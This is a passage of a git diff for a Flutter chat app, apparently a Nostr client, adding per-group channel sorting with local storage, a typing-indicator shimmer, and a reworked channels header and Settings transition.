+String? _safePubkeyFromNsec(String nsec) {
+  try {
+    final privkeyHex = nostr.Nip19.decode(payload: nsec).data;
+    if (privkeyHex.isEmpty) return null;
+    return nostr.Keys(privkeyHex).public;
+  } catch (_) {
+    return null;
+  }
+}
diff --git a/mobile/lib/features/channels/channel_sort/channel_sort_storage.dart b/mobile/lib/features/channels/channel_sort/channel_sort_storage.dart
new file mode 100644
index 0000000000..90bd0913ef
--- /dev/null
+++ b/mobile/lib/features/channels/channel_sort/channel_sort_storage.dart
@@ -0,0 +1,219 @@
+import 'dart:convert';
+
+import 'package:shared_preferences/shared_preferences.dart';
+
+import '../channel.dart';
+
+String normalizeChannelSortRelayUrl(String relayUrl) =>
+    relayUrl.trim().replaceFirst(RegExp(r'/+$'), '').toLowerCase();
+
+String channelSortKey(String pubkey, String relayUrl) =>
+    'buzz.channel-sort.v1:$pubkey:${Uri.encodeComponent(normalizeChannelSortRelayUrl(relayUrl))}';
+
+String legacyChannelSortKey(String pubkey) => 'buzz.channel-sort.v1:$pubkey';
+
+/// Per-group sidebar sort mode. The wire values match desktop exactly.
+enum ChannelSortMode {
+  alpha('alpha'),
+  recent('recent');
+
+  final String wireValue;
+
+  const ChannelSortMode(this.wireValue);
+
+  static ChannelSortMode? fromWire(Object? value) {
+    if (value == 'alpha') return ChannelSortMode.alpha;
+    if (value == 'recent') return ChannelSortMode.recent;
+    return null;
+  }
+}
+
+const ChannelSortMode kDefaultSortMode = ChannelSortMode.alpha;
+
+String sectionSortGroupKey(String sectionId) => 'section:$sectionId';
+
+class ChannelSortStore {
+  final int version;
+  final Map<String, ChannelSortMode> groups;
+
+  const ChannelSortStore({this.version = 1, this.groups = const {}});
+
+  Map<String, dynamic> toJson() => {
+    'version': version,
+    'groups': {
+      for (final entry in groups.entries) entry.key: entry.value.wireValue,
+    },
+  };
+
+  factory ChannelSortStore.fromJson(Map<String, dynamic> json) {
+    final groups = <String, ChannelSortMode>{};
+    final rawGroups = json['groups'];
+    if (rawGroups is Map) {
+      for (final entry in rawGroups.entries) {
+        final mode = ChannelSortMode.fromWire(entry.value);
+        if (entry.key is String && mode != null) {
+          groups[entry.key as String] = mode;
+        }
+      }
+    }
+    return ChannelSortStore(groups: groups);
+  }
+}
+
+ChannelSortStore stripOrphanedSectionModes(
+  ChannelSortStore store,
+  Iterable<String> liveSectionIds,
+) {
+  final liveKeys = {for (final id in liveSectionIds) sectionSortGroupKey(id)};
+  final kept = <String, ChannelSortMode>{
+    for (final entry in store.groups.entries)
+      if (!entry.key.startsWith('section:') || liveKeys.contains(entry.key))
+        entry.key: entry.value,
+  };
+  if (kept.length == store.groups.length) return store;
+  return ChannelSortStore(groups: kept);
+}
+
+/// Mobile and desktop both use a case-insensitive deterministic ordering.
+/// The id tie-break keeps equal folded names stable across clients.
+int compareChannelsByName(Channel left, Channel right) {
+  final name = left.name.toLowerCase().compareTo(right.name.toLowerCase());
+  return name != 0 ? name : left.id.compareTo(right.id);
+}
+
+List<Channel> sortChannelsForList(
+  List<Channel> channels,
+  ChannelSortMode mode,
+) {
+  final sorted = channels.toList();
+  if (mode == ChannelSortMode.alpha) {
+    sorted.sort(compareChannelsByName);
+    return sorted;
+  }
+  sorted.sort((left, right) {
+    final leftMs = left.lastMessageAt?.millisecondsSinceEpoch;
+    final rightMs = right.lastMessageAt?.millisecondsSinceEpoch;
+    if (leftMs != null && rightMs != null && leftMs != rightMs) {
+      return rightMs.compareTo(leftMs);
+    }
+    if (leftMs != null && rightMs == null) return -1;
+    if (leftMs == null && rightMs != null) return 1;
+    return compareChannelsByName(left, right);
+  });
+  return sorted;
+}
+
+class ChannelSortSyncState {
+  final int updatedAt;
+  final String eventId;
+  final bool hasPendingLocalChanges;
+  final int pendingUpdatedAt;
+
+  const ChannelSortSyncState({
+    this.updatedAt = 0,
+    this.eventId = '',
+    this.hasPendingLocalChanges = false,
+    this.pendingUpdatedAt = 0,
+  });
+
+  Map<String, dynamic> toJson() => {
+    'updatedAt': updatedAt,
+    'eventId': eventId,
+    'hasPendingLocalChanges': hasPendingLocalChanges,
+    'pendingUpdatedAt': pendingUpdatedAt,
+  };
+
+  factory ChannelSortSyncState.fromJson(Map<String, dynamic> json) {
+    final updatedAt = json['updatedAt'] is int ? json['updatedAt'] as int : 0;
+    final hasPendingLocalChanges = json['hasPendingLocalChanges'] == true;
+    final storedPendingUpdatedAt = json['pendingUpdatedAt'];
+    // Older builds used updatedAt for both the remote cursor and local edit
+    // stamp. Preserve the pending guard while resetting that ambiguous cursor.
+    final isLegacyPending =
+        hasPendingLocalChanges && storedPendingUpdatedAt is! int;
+    return ChannelSortSyncState(
+      updatedAt: isLegacyPending ? 0 : updatedAt,
+      eventId: isLegacyPending
+          ? ''
+          : (json['eventId'] is String ? json['eventId'] as String : ''),
+      hasPendingLocalChanges: hasPendingLocalChanges,
+      pendingUpdatedAt: storedPendingUpdatedAt is int
+          ? storedPendingUpdatedAt
+          : (hasPendingLocalChanges ? updatedAt : 0),
+    );
+  }
+}
+
+class ChannelSortStorage {
+  final SharedPreferences _prefs;
+
+  ChannelSortStorage(this._prefs);
+
+  ChannelSortStore read(String pubkey, String relayUrl) {
+    final scopedKey = channelSortKey(pubkey, relayUrl);
+    final scoped = _readKey(scopedKey);
+    if (scoped != null) return scoped;
+
+    // One-time read-through migration from #2829 development builds. The
+    // first active relay claims the legacy value; removing it prevents the
+    // same unscoped preferences from bleeding into later communities.
+    final legacyKey = legacyChannelSortKey(pubkey);
+    final legacy = _readKey(legacyKey);
+    if (legacy != null) {
+      write(pubkey, relayUrl, legacy);
+      _prefs.remove(legacyKey);
+      return legacy;
+    }
+    return const ChannelSortStore();
+  }
+
+  ChannelSortStore? _readKey(String key) {
+    final raw = _prefs.getString(key);
+    if (raw == null || raw.isEmpty) {
+      return null;
+    }
+    try {
+      final parsed = jsonDecode(raw);
+      if (parsed is! Map<String, dynamic> || parsed['version'] != 1) {
+        return null;
+      }
+      return ChannelSortStore.fromJson(parsed);
+    } catch (_) {
+      return null;
+    }
+  }
+
+  void write(String pubkey, String relayUrl, ChannelSortStore store) {
+    _prefs.setString(
+      channelSortKey(pubkey, relayUrl),
+      jsonEncode(store.toJson()),
+    );
+  }
+
+  ChannelSortSyncState readSyncState(String pubkey, String relayUrl) {
+    final raw = _prefs.getString(_syncStateKey(pubkey, relayUrl));
+    if (raw == null || raw.isEmpty) return const ChannelSortSyncState();
+    try {
+      final parsed = jsonDecode(raw);
+      return parsed is Map<String, dynamic>
+          ? ChannelSortSyncState.fromJson(parsed)
+          : const ChannelSortSyncState();
+    } catch (_) {
+      return const ChannelSortSyncState();
+    }
+  }
+
+  void writeSyncState(
+    String pubkey,
+    String relayUrl,
+    ChannelSortSyncState state,
+  ) {
+    _prefs.setString(
+      _syncStateKey(pubkey, relayUrl),
+      jsonEncode(state.toJson()),
+    );
+  }
+
+  String _syncStateKey(String pubkey, String relayUrl) =>
+      '${channelSortKey(pubkey, relayUrl)}:sync';
+}
diff --git a/mobile/lib/features/channels/channel_stars/channel_stars_manager.dart b/mobile/lib/features/channels/channel_stars/channel_stars_manager.dart
index 664c13a09d..c4f4da862f 100644
--- a/mobile/lib/features/channels/channel_stars/channel_stars_manager.dart
+++ b/mobile/lib/features/channels/channel_stars/channel_stars_manager.dart
@@ -8,7 +8,7 @@ import 'package:shared_preferences/shared_preferences.dart';
 
 import '../../../shared/crypto/nip44.dart';
 import '../../../shared/relay/relay.dart';
-import '../read_state/read_state_time.dart';
+import '../../../shared/read_state/read_state_time.dart';
 import 'channel_stars_storage.dart';
 
 class ChannelStarsCrypto {
diff --git a/mobile/lib/features/channels/channel_typing_indicator.dart b/mobile/lib/features/channels/channel_typing_indicator.dart
index d021b9e287..0543f13b06 100644
--- a/mobile/lib/features/channels/channel_typing_indicator.dart
+++ b/mobile/lib/features/channels/channel_typing_indicator.dart
@@ -1,4 +1,5 @@
 import 'package:flutter/material.dart';
+import 'package:flutter_hooks/flutter_hooks.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 
 import '../../shared/theme/theme.dart';
@@ -72,13 +73,11 @@ class ChannelTypingIndicator extends ConsumerWidget {
             ),
             const SizedBox(width: Grid.xxs),
             Flexible(
-              child: Text(
+              child: _TypingTextShimmer(
                 text,
                 style: context.textTheme.labelSmall?.copyWith(
-                  color: context.colors.primary,
-                  fontStyle: FontStyle.italic,
+                  color: context.colors.onSurfaceVariant,
                 ),
-                overflow: TextOverflow.ellipsis,
               ),
             ),
           ],
@@ -87,3 +86,62 @@ class ChannelTypingIndicator extends ConsumerWidget {
     );
   }
 }
+
+class _TypingTextShimmer extends HookWidget {
+  final String text;
+  final TextStyle? style;
+
+  const _TypingTextShimmer(this.text, {this.style});
+
+  @override
+  Widget build(BuildContext context) {
+    final animation = useAnimationController(
+      duration: const Duration(milliseconds: 2600),
+    );
+    final reducedMotion = MediaQuery.disableAnimationsOf(context);
+    final baseColor = style?.color ?? context.colors.onSurfaceVariant;
+    final highlightColor =
+        Color.lerp(context.colors.surface, baseColor, 0.4) ?? baseColor;
+
+    useEffect(() {
+      if (reducedMotion) {
+        animation
+          ..stop()
+          ..value = 0;
+      } else {
+        animation.repeat();
+      }
+      return animation.stop;
+    }, [animation, reducedMotion]);
+
+    final label = Text(text, style: style, overflow: TextOverflow.ellipsis);
+    if (reducedMotion) return label;
+
+    return RepaintBoundary(
+      child: AnimatedBuilder(
+        animation: animation,
+        child: label,
+        builder: (context, child) {
+          final center = 1.5 - (animation.value * 3);
+          return ShaderMask(
+            key: const ValueKey('channel-typing-shimmer'),
+            blendMode: BlendMode.srcIn,
+            shaderCallback: (bounds) => LinearGradient(
+              begin: Alignment(center - 1, 0),
+              end: Alignment(center + 1, 0),
+              colors: [
+                baseColor,
+                baseColor,
+                highlightColor,
+                baseColor,
+                baseColor,
+              ],
+              stops: const [0, 0.34, 0.5, 0.66, 1],
+            ).createShader(bounds),
+            child: child,
+          );
+        },
+      ),
+    );
+  }
+}
diff --git a/mobile/lib/features/channels/channels_page.dart b/mobile/lib/features/channels/channels_page.dart
index ba5d4ebf9d..d5ffb281cb 100644
--- a/mobile/lib/features/channels/channels_page.dart
+++ b/mobile/lib/features/channels/channels_page.dart
@@ -3,7 +3,9 @@ import 'dart:io';
 import 'dart:math' show max, min, pi;
 import 'dart:ui';
 
+import 'package:flutter/foundation.dart';
 import 'package:flutter/material.dart';
+import 'package:flutter/services.dart';
 import 'package:flutter_hooks/flutter_hooks.dart';
 import 'package:flutter/physics.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
@@ -18,6 +20,7 @@ import '../../shared/widgets/anchored_popover_menu.dart';
 import '../../shared/widgets/buzz_loading_indicator.dart';
 import '../../shared/widgets/frosted_app_bar.dart';
 import '../../shared/widgets/frosted_scaffold.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import '../../shared/widgets/skeleton.dart';
 import '../../shared/custom_emoji/custom_emoji.dart';
 import '../../shared/custom_emoji/custom_emoji_provider.dart';
@@ -29,6 +32,7 @@ import '../profile/user_cache_provider.dart';
 import '../pairing/pairing_page.dart';
 import '../pairing/pairing_provider.dart';
 import 'channel.dart';
+import 'channel_actions_sheet.dart';
 import 'channel_detail_page.dart';
 import 'channel_management_provider.dart';
 import 'dm_channel_labels.dart';
@@ -36,12 +40,14 @@ import 'ephemeral_channel_display.dart';
 import 'channel_mutes/channel_mutes_provider.dart';
 import 'channel_sections/channel_sections_provider.dart';
 import 'channel_sections/channel_sections_storage.dart';
+import 'channel_sort/channel_sort_provider.dart';
+import 'channel_sort/channel_sort_storage.dart';
 import 'channel_stars/channel_stars_provider.dart';
 import 'channels_provider.dart';
-import 'read_state/deferred_read_state_update.dart';
-import 'read_state/read_state_format.dart';
-import 'read_state/read_state_provider.dart';
-import 'read_state/read_state_time.dart';
+import '../../shared/read_state/deferred_read_state_update.dart';
+import '../../shared/read_state/read_state_format.dart';
+import '../../shared/read_state/read_state_provider.dart';
+import '../../shared/read_state/read_state_time.dart';
 import 'unread_badge/observed_unread_event.dart';
 
 part 'channels_page/body.dart';
@@ -61,6 +67,14 @@ const double _kChannelLeadingWidth = 22.0;
 const double _kChannelIconSize = 18.0;
 const double _kChannelLabelGap = Grid.xxs;
 const double _kChannelRowVerticalPadding = Grid.xxs + Grid.quarter;
+const double _kSectionSpacingTightening = Grid.half;
+const double _kSectionHeaderVerticalPadding =
+    _kChannelRowVerticalPadding - _kSectionSpacingTightening;
+// Section headers include touch targets for their actions, so their visual
+// centre sits lower than a channel row's. This keeps an expanded section's
+// final row equally spaced from the following divider.
+const double _kExpandedSectionTrailingPadding =
+    11.0 - _kSectionSpacingTightening;
 const double _kChannelLabelInset =
     _kChannelSectionInset + _kChannelLeadingWidth + _kChannelLabelGap;
 
@@ -70,28 +84,27 @@ const double _kChannelLabelInset =
 /// sections while the labels stay on [_kChannelLabelInset].
 const double _kDmAvatarSize = _kChannelIconSize;
 
-const double _kTopSectionAvatarSize = 32.0;
+const double _kTopSectionAvatarSize = 40.0;
+const double _kTopSectionBottomPadding = Grid.xxs;
 
-/// The top section's avatars are 32dp circles, which fill their box edge to
+/// The top section's avatars are 40dp circles, which fill their box edge to
 /// edge; the channel rows below lead with an 18dp glyph left-aligned in a 22dp
 /// box at [_kChannelSectionInset]. Edge-aligning the two leaves the circles
 /// looking pushed outward, so the bar is pulled in to sit the avatar's centre
-/// on the channel-icon column (12 + 16 = 28dp against the glyph's ~29dp). Its
-/// label gap is derived separately so both labels land on the same 50dp column.
+/// near the channel-icon column.
 const double _kTopSectionInset = Grid.twelve;
-const double _kTopSectionLabelGap =
-    _kChannelLabelInset - _kTopSectionInset - _kTopSectionAvatarSize;
 const Duration _kSectionExpandDuration = Duration(milliseconds: 220);
 const Duration _kSectionCollapseDuration = Duration(milliseconds: 170);
 const Curve _kSectionExpandCurve = Cubic(0.23, 1, 0.32, 1);
 const Curve _kSectionCollapseCurve = Curves.easeInCubic;
 const double _kSectionCollapsedScaleY = 0.98;
+const double _kHeaderFrostScrollDistance = Grid.xxl;
+const double _kHeaderFrostMaxBlurSigma = 23.12;
 
 class _UnreadChannelState {
   final Set<String> ids;
-  final Map<String, int> counts;
 
-  const _UnreadChannelState({required this.ids, required this.counts});
+  const _UnreadChannelState({required this.ids});
 }
 
 _UnreadChannelState _computeUnreadChannelState({
@@ -100,19 +113,17 @@ _UnreadChannelState _computeUnreadChannelState({
   required ChannelsNotifier channelsNotifier,
 }) {
   if (!readState.isReady) {
-    return const _UnreadChannelState(ids: {}, counts: {});
+    return const _UnreadChannelState(ids: {});
   }
 
   final latestObservedByChannel = channelsNotifier.latestObservedByChannel;
   final observedEventsByChannel =
       channelsNotifier.observedUnreadEventsByChannel;
   final ids = <String>{};
-  final counts = <String, int>{};
 
   for (final channel in channels) {
     if (readState.locallyForcedChannelIds.contains(channel.id)) {
       ids.add(channel.id);
-      counts[channel.id] = 1;
       continue;
     }
 
@@ -138,20 +149,27 @@ _UnreadChannelState _computeUnreadChannelState({
     if (unreadCount == 0) continue;
 
     ids.add(channel.id);
-    counts[channel.id] = countUnreadBadgeObservedEvents(
-      observedEvents,
-      readAtForObservedEvent,
-    );
   }
 
-  return _UnreadChannelState(ids: ids, counts: counts);
+  return _UnreadChannelState(ids: ids);
 }
 
 class ChannelsPage extends HookConsumerWidget {
-  const ChannelsPage({required this.settingsPageBuilder, super.key});
+  const ChannelsPage({
+    required this.settingsPageBuilder,
+    required this.onSettingsTransitionProgress,
+    this.tabReselection,
+    super.key,
+  });
 
   final WidgetBuilder settingsPageBuilder;
 
+  /// Reports the Settings route's raw animation progress from 0 to 1.
+  final ValueChanged<double> onSettingsTransitionProgress;
+
+  /// Notifies this page when its already-selected tab is tapped again.
+  final ValueListenable<int>? tabReselection;
+
   @override
   Widget build(BuildContext context, WidgetRef ref) {
     final channelsAsync = ref.watch(channelsProvider);
@@ -160,6 +178,59 @@ class ChannelsPage extends HookConsumerWidget {
         .watch(profileProvider)
         .whenData((value) => value?.pubkey)
         .value;
+    final headerTitleStyle = context.textTheme.titleMedium?.copyWith(
+      fontSize: 22,
+      fontWeight: FontWeight.w600,
+      color: navigationPrimaryForeground(context),
+    );
+    final topSectionHeight = frostedAppBarHeight(
+      context,
+      titleStyle: headerTitleStyle,
+      bottomHeight: _kTopSectionBottomPadding,
+    );
+    final channelsScrollController = useScrollController();
+    final reducedMotion = MediaQuery.disableAnimationsOf(context);
+    final headerFrostProgress = useState(0.0);
+    useEffect(() {
+      void updateHeaderTreatment() {
+        final nextProgress = !channelsScrollController.hasClients
+            ? 0.0
+            : (channelsScrollController.offset / _kHeaderFrostScrollDistance)
+                  .clamp(0.0, 1.0)
+                  .toDouble();
+        if ((headerFrostProgress.value - nextProgress).abs() > 0.001) {
+          headerFrostProgress.value = nextProgress;
+        }
+      }
+
+      channelsScrollController.addListener(updateHeaderTreatment);
+      return () =>
+          channelsScrollController.removeListener(updateHeaderTreatment);
+    }, [channelsScrollController]);
+    useEffect(() {
+      final tabReselection = this.tabReselection;
+      if (tabReselection == null) return null;
+
+      void scrollToTop() {
+        if (!channelsScrollController.hasClients) return;
+        final position = channelsScrollController.position;
+        if (position.pixels <= position.minScrollExtent + 0.5) return;
+        if (reducedMotion) {
+          channelsScrollController.jumpTo(position.minScrollExtent);
+          return;
+        }
+        unawaited(
+          channelsScrollController.animateTo(
+            position.minScrollExtent,
+            duration: const Duration(milliseconds: 260),
+            curve: Curves.easeOutCubic,
+          ),
+        );
+      }
+
+      tabReselection.addListener(scrollToTop);
+      return () => tabReselection.removeListener(scrollToTop);
+    }, [tabReselection, channelsScrollController, reducedMotion]);
 
     // Cache the last successfully loaded channels so the UI never flashes
     // back to a loading state when the provider rebuilds (e.g. reconnect).
@@ -226,32 +297,65 @@ class ChannelsPage extends HookConsumerWidget {
       return timer.cancel;
     }, [isReconnectingWithContent]);
 
+    void openCommunitySwitcher() {
+      unawaited(HapticFeedback.selectionClick());
+      ref.invalidate(communityIconProvider);
+      showBuzzModalBottomSheet<void>(
+        context: context,
+        showDragHandle: true,
+        builder: (_) => const _CommunitySwitcherSheet(),
+      );
+    }
+
+    final topSectionGradient = context.appColors.topSectionGradient;
+    final usesPinnedGradient = topSectionGradient != null;
+
     return FrostedScaffold(
-      backgroundColor: Colors.transparent,
+      backgroundColor: usesPinnedGradient
+          ? Colors.transparent
+          : context.colors.surface,
+      backgroundGradient: topSectionGradient,
       appBar: FrostedAppBar(
         horizontalInset: _kTopSectionInset,
-        // Under a Buzz theme the community + account avatar strip carries the
-        // branded gradient, the way desktop paints it across the sidebar. Null
-        // under every other theme, leaving the default frosted fill.
-        gradient: context.appColors.topSectionGradient,
-        leading: _CommunityIndicator(
-          onTap: () {
-            ref.invalidate(communityIconProvider);
-            showModalBottomSheet<void>(
-              context: context,
-              showDragHandle: true,
-              builder: (_) => const _CommunitySwitcherSheet(),
-            );
-          },
+        // Let the full Buzz gradient show at rest. Once the list begins to
+        // move beneath this row, build up blur over the first 64dp of scroll
+        // without adding the usual white frosted wash. The Buzz list is
+        // transparent, so the blurred pixels remain a continuation of the
+        // pinned gradient instead of turning into a white header.
+        frosted: !usesPinnedGradient || headerFrostProgress.value > 0,
+        frostedSurfaceOpacity: usesPinnedGradient ? 0 : 0.5,
+        frostedBlurSigma: usesPinnedGradient
+            ? _kHeaderFrostMaxBlurSigma * headerFrostProgress.value
+            : 20,
+        showBottomDivider: false,
+        leading: _CommunityIndicator(onTap: openCommunitySwitcher),
+        titleStyle: headerTitleStyle,
+        title: _CommunityHeaderTitle(
+          style: headerTitleStyle,
+          onTap: openCommunitySwitcher,
         ),
-        title: const SizedBox.shrink(),
         actions: [
-          ProfileAvatar(
-            onTap: () => Navigator.of(
-              context,
-            ).push(MaterialPageRoute<void>(builder: settingsPageBuilder)),
+          SizedBox(
+            width: Grid.xl,
+            height: Grid.xl,
+            child: Center(
+              child: ProfileAvatar(
+                size: _kTopSectionAvatarSize,
+                onTap: () {
+                  unawaited(HapticFeedback.lightImpact());
+                  Navigator.of(context).push(
+                    _SettingsPageRoute(
+                      builder: settingsPageBuilder,
+                      onTransitionProgress: onSettingsTransitionProgress,
+                    ),
+                  );
+                },
+              ),
+            ),
           ),
         ],
+        bottomHeight: _kTopSectionBottomPadding,
+        bottom: const SizedBox.expand(),
       ),
       body: _ChannelsBody(
         channels: channels,
@@ -260,9 +364,96 @@ class ChannelsPage extends HookConsumerWidget {
         sessionStatus: sessionState.status,
         showConnectionSkeleton: showConnectionSkeleton.value,
         currentPubkey: currentPubkey,
+        topSectionHeight: topSectionHeight,
+        usesPinnedGradient: usesPinnedGradient,
+        scrollController: channelsScrollController,
         onRefresh: () => ref.read(channelsProvider.notifier).refresh(),
         onSelectChannel: openChannel,
       ),
     );
   }
 }
+
+/// A custom route deliberately avoids [MaterialPageRoute]'s platform exit
+/// transition on Home. Settings has a centered scale-and-fade transition, not
+/// a lateral page push.
+class _SettingsPageRoute extends PageRouteBuilder<void> {
+  _SettingsPageRoute({
+    required WidgetBuilder builder,
+    required this.onTransitionProgress,
+  }) : super(
+         pageBuilder: (context, animation, secondaryAnimation) =>
+             builder(context),
+         transitionsBuilder: _buildSettingsTransition,
+         opaque: false,
+         transitionDuration: const Duration(milliseconds: 190),
+         reverseTransitionDuration: const Duration(milliseconds: 190),
+       );
+
+  final ValueChanged<double> onTransitionProgress;
+
+  Animation<double>? _progressAnimation;
+
+  @override
+  void install() {
+    super.install();
+    _progressAnimation = animation?..addListener(_reportProgress);
+    _reportProgress();
+  }
+
+  void _reportProgress() {
+    onTransitionProgress(_progressAnimation?.value ?? 0);
+  }
+
+  @override
+  void dispose() {
+    _progressAnimation?.removeListener(_reportProgress);
+    super.dispose();
+  }
+
+  static Widget _buildSettingsTransition(
+    BuildContext context,
+    Animation<double> animation,
+    Animation<double> secondaryAnimation,
+    Widget child,
+  ) {
+    if (MediaQuery.disableAnimationsOf(context)) return child;
+
+    final incoming = CurvedAnimation(
+      parent: animation,
+      curve: Curves.easeOutCubic,
+      reverseCurve: Curves.easeOutCubic,
+    );
+    return FadeTransition(
+      key: const ValueKey('settings-transition-opacity'),
+      opacity: _SettingsOpacityAnimation(incoming),
+      child: RepaintBoundary(
+        key: const ValueKey('settings-transition-layer'),
+        child: ScaleTransition(
+          scale: Tween<double>(begin: 1.04, end: 1).animate(incoming),
+          alignment: Alignment.center,
+          child: child,
+        ),
+      ),
+    );
+  }
+}
+
+/// Keeps Settings already composed on entry while retaining a complete exit
+/// fade. Reading the parent live also keeps opacity synchronized with scale on
+/// the route's first frame.
+class _SettingsOpacityAnimation extends Animation<double>
+    with AnimationWithParentMixin<double> {
+  _SettingsOpacityAnimation(this.parent);
+
+  @override
+  final Animation<double> parent;
+
+  @override
+  double get value {
+    final progress = parent.value;
+    return parent.status == AnimationStatus.reverse
+        ? progress
+        : 0.8 + (0.2 * progress);
+  }
+}
diff --git a/mobile/lib/features/channels/channels_page/badges.dart b/mobile/lib/features/channels/channels_page/badges.dart
index 164d17171a..e7e480e11f 100644
--- a/mobile/lib/features/channels/channels_page/badges.dart
+++ b/mobile/lib/features/channels/channels_page/badges.dart
@@ -1,56 +1,5 @@
 part of '../channels_page.dart';
 
-class _UnreadBadge extends StatelessWidget {
-  final String channelId;
-  final int count;
-
-  const _UnreadBadge({required this.channelId, required this.count});
-
-  @override
-  Widget build(BuildContext context) {
-    if (count <= 0) {
-      return SizedBox(
-        key: Key('channel-unread-dot-$channelId'),
-        width: 20,
-        height: 20,
-        child: Center(
-          child: Container(
-            width: 8,
-            height: 8,
-            decoration: BoxDecoration(
-              color: context.colors.primary,
-              shape: BoxShape.circle,
-            ),
-            child: Semantics(label: 'unread'),
-          ),
-        ),
-      );
-    }
-
-    return Container(
-      key: Key('channel-unread-$channelId'),
-      constraints: const BoxConstraints(minWidth: 20, minHeight: 20),
-      padding: const EdgeInsets.symmetric(horizontal: Grid.quarter),
-      alignment: Alignment.center,
-      decoration: BoxDecoration(
-        color: context.colors.primary,
-        borderRadius: BorderRadius.circular(999),
-      ),
-      child: Text(
-        _formatUnreadCount(count),
-        style: context.textTheme.labelSmall?.copyWith(
-          color: context.colors.onPrimary,
-          fontSize: 10,
-          fontWeight: FontWeight.w700,
-          height: 1,
-        ),
-      ),
-    );
-  }
-}
-
-String _formatUnreadCount(int count) => count > 99 ? '99+' : count.toString();
-
 class _EphemeralBadge extends StatelessWidget {
   final Channel channel;
 
diff --git a/mobile/lib/features/channels/channels_page/body.dart b/mobile/lib/features/channels/channels_page/body.dart
index 9f0b1dd4a7..ad71be1e50 100644
--- a/mobile/lib/features/channels/channels_page/body.dart
+++ b/mobile/lib/features/channels/channels_page/body.dart
@@ -7,6 +7,9 @@ class _ChannelsBody extends StatelessWidget {
   final SessionStatus sessionStatus;
   final bool showConnectionSkeleton;
   final String? currentPubkey;
+  final double topSectionHeight;
+  final bool usesPinnedGradient;
+  final ScrollController scrollController;
   final Future<void> Function() onRefresh;
   final Future<void> Function(Channel channel) onSelectChannel;
 
@@ -17,13 +20,16 @@ class _ChannelsBody extends StatelessWidget {
     required this.sessionStatus,
     required this.showConnectionSkeleton,
     required this.currentPubkey,
+    required this.topSectionHeight,
+    required this.usesPinnedGradient,
+    required this.scrollController,
     required this.onRefresh,
     required this.onSelectChannel,
   });
 
   @override
   Widget build(BuildContext context) {
-    final barHeight = frostedAppBarHeight(context);
+    final barHeight = topSectionHeight;
     final loadedChannels = channels;
     final loading =
         showConnectionSkeleton || (loadedChannels == null && !showError);
@@ -38,13 +44,32 @@ class _ChannelsBody extends StatelessWidget {
             edgeOffset: barHeight,
             onRefresh: onRefresh,
             child: CustomScrollView(
+              controller: scrollController,
+              // The transparent gap shows the top section and must not absorb
+              // taps meant for the community or profile controls beneath it.
+              hitTestBehavior: HitTestBehavior.deferToChild,
               slivers: [
                 SliverToBoxAdapter(child: SizedBox(height: barHeight)),
-                _SliverChannelsList(
-                  channels: loadedChannels,
-                  currentPubkey: currentPubkey,
-                  onSelectChannel: onSelectChannel,
-                ),
+                if (usesPinnedGradient)
+                  _SliverChannelsList(
+                    channels: loadedChannels,
+                    currentPubkey: currentPubkey,
+                    onSelectChannel: onSelectChannel,
+                  )
+                else
+                  DecoratedSliver(
+                    decoration: BoxDecoration(
+                      color: context.colors.surface,
+                      borderRadius: const BorderRadius.vertical(
+                        top: Radius.circular(Radii.dialog),
+                      ),
+                    ),
+                    sliver: _SliverChannelsList(
+                      channels: loadedChannels,
+                      currentPubkey: currentPubkey,
+                      onSelectChannel: onSelectChannel,
+                    ),
+                  ),
               ],
             ),
           );
@@ -101,6 +126,7 @@ class _SliverChannelsList extends HookConsumerWidget {
     final starredExpanded = useState(true);
     final channelsExpanded = useState(true);
     final dmsExpanded = useState(true);
+    final sortState = ref.watch(channelSortProvider);
     final initialSeedComplete = useState(false);
     final seededPubkey = useRef<String?>(null);
     final seedCompleteForPubkey =
@@ -147,11 +173,6 @@ class _SliverChannelsList extends HookConsumerWidget {
             readState.effectiveTimestamp(channelId) != null)
           channelId,
     };
-    final unreadChannelCounts = {
-      for (final entry in unreadState.counts.entries)
-        if (unreadChannelIds.contains(entry.key)) entry.key: entry.value,
-    };
-
     // Build sorted user-defined sections and compute which stream channels
     // belong to each section. Channels not assigned to any valid section fall
     // through to the built-in "Channels" list.
@@ -165,16 +186,33 @@ class _SliverChannelsList extends HookConsumerWidget {
     };
     // Starred is exclusive: a starred channel lives only in the Starred section,
     // not in its custom section or the default Channels list.
-    final starredStreamChannels = streamChannels
-        .where((c) => starredChannelIds.contains(c.id))
-        .toList();
-    final ungroupedStreamChannels = streamChannels
-        .where(
-          (c) =>
-              !assignedChannelIds.contains(c.id) &&
-              !starredChannelIds.contains(c.id),
-        )
-        .toList();
+    final starredStreamChannels = sortChannelsForList(
+      streamChannels.where((c) => starredChannelIds.contains(c.id)).toList(),
+      sortState.sortModeFor('starred'),
+    );
+    final ungroupedStreamChannels = sortChannelsForList(
+      streamChannels
+          .where(
+            (c) =>
+                !assignedChannelIds.contains(c.id) &&
+                !starredChannelIds.contains(c.id),
+          )
+          .toList(),
+      sortState.sortModeFor('channels'),
+    );
+    // DMs default to the display-label alphabetical order (labels can differ
+    // from channel names); Recent mode reorders by last message time.
+    final sortedDmChannels =
+        sortState.sortModeFor('dms') == ChannelSortMode.recent
+        ? sortChannelsForList(dmChannels, ChannelSortMode.recent)
+        : dmChannels;
+
+    final liveSectionIds = [for (final s in userSections) s.id];
+    void setSortMode(String groupKey, ChannelSortMode mode) {
+      ref
+          .read(channelSortProvider.notifier)
+          .setSortModeFor(groupKey, mode, liveSectionIds: liveSectionIds);
+    }
 
     final sectionExpandedStates = useState<Map<String, bool>>({});
 
@@ -208,25 +246,28 @@ class _SliverChannelsList extends HookConsumerWidget {
                 onToggle: () => starredExpanded.value = !starredExpanded.value,
                 channels: starredStreamChannels,
                 unreadChannelIds: unreadChannelIds,
-                unreadChannelCounts: unreadChannelCounts,
                 mutedChannelIds: mutedChannelIds,
                 currentPubkey: currentPubkey,
                 emptyLabel: '',
+                sortMode: sortState.sortModeFor('starred'),
+                onSortModeChange: (mode) => setSortMode('starred', mode),
                 onSelectChannel: onSelectChannel,
               ),
             // User-defined sections for stream channels, in user-defined order.
             for (final section in userSections)
               _CustomChannelSection(
                 section: section,
-                channels: streamChannels
-                    .where(
-                      (c) =>
-                          sectionAssignments[c.id] == section.id &&
-                          !starredChannelIds.contains(c.id),
-                    )
-                    .toList(),
+                channels: sortChannelsForList(
+                  streamChannels
+                      .where(
+                        (c) =>
+                            sectionAssignments[c.id] == section.id &&
+                            !starredChannelIds.contains(c.id),
+                      )
+                      .toList(),
